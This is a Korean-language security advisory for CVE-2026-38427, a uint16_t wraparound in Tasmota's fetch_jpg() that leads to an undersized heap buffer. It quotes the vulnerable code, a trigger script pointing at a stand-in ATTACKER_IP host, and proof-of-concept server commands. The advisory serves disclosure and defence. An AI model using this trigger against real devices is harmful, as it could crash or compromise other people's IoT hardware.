
CVE-2026-38427 — Tasmota fetch_jpg() uint16_t의 정수 랩어라운드 → 힙 버퍼 오버플로우 (Tasmota <= 15.3.0.3)
CVE: CVE-2026-38427
심각도: 치명적 (CVSS 9.8)
제품: Arendst Tasmota
영향받는 버전: <= 15.3.0.3
파일: tasmota/tasmota_xdrv_driver/xdrv_10_scripter.ino
함수: fetch_jpg() — case 2 (MJPEG 프레임 가져오기)
작성자: Saidakbarxon Maxsudxonov
공개: 책임 공개 — 게시 전에 Tasmota에 보고됨
uint16_t 정수 래핑 취약점이 Tasmota의 스크립터 드라이버에 있는 fetch_jpg() 함수에 존재합니다. Tasmota 장치가 공격자가 제어하는 서버에서 MJPEG 프레임을 가져올 때, Content-Length 헤더 값이 atoi()를 통해 uint16_t 변수로 읽힙니다. 65535보다 큰 값은 조용히 래핑되어(예: 65537 → 1) 크게 축소된 힙 버퍼가 할당됩니다. 그런 다음 장치는 스트림에서 래핑된 바이트 수만 읽고 나머지는 스트림 버퍼에 남겨 두어 힙/스트림 상태 손상을 일으키며, 이로 인해 충돌(DoS) 또는 잠재적 원격 코드 실행이 발생할 수 있습니다.
// tasmota/tasmota_xdrv_driver/xdrv_10_scripter.ino
// Case 2: fetch next MJPEG frame
char inbuff[64];
stream.readBytesUntil('\n', inbuff, sizeof(inbuff)); // reads "Content-Length: 70000"
char *cp = strchr(inbuff, ':');
uint16_t size = 0;
if (cp) {
size = atoi(cp + 1); // atoi() returns int 70000
// IMPLICIT TRUNCATION: uint16_t = 70000 & 0xFFFF = 4464
}
uint8_t *buff = (uint8_t *)special_malloc(size); // malloc(4464) — too small!
if (buff) {
stream.readBytes(buff, size); // reads only 4464 bytes
// 65536 bytes remain in stream → corruption
}
공격자는 악성 Tasmota 스크립트 또는 MITM을 통해 Tasmota 장치를 자신의 HTTP 서버에 연결하도록 만들 수 있으며, Content-Length 값이 65535를 초과하는 MJPEG 프레임을 보낼 수 있습니다. 장치는 다음을 수행합니다:
Tasmota 스크립트를 통한 트리거:
>D
>B
fetchjp(ATTACKER_IP:PORT/stream,0,0,1)
>1
=fetchjp(2,0,0,1)
PoC는 악성 Content-Length 값을 가진 프레임을 전송하는 가짜 MJPEG HTTP 서버를 실행합니다:
python3 CVE-2026-38427_poc.py --port 8889 --cl 65537
python3 CVE-2026-38427_poc.py --port 8889 --cl 131072
전체 구현은 CVE-2026-38427_poc.py를 참조하세요.
| Content-Length (헤더) | uint16_t 값 | 할당된 버퍼 | 읽지 않은 바이트 |
|---|
| 65536 | 0 | 0 (건너뜀) | 65536 |
| 65537 | 1 | 1 바이트 | 65536 |
| 70000 | 4464 | 4464 바이트 | 65536 |
| 131072 | 0 | 0 (건너뜀) | 131072 |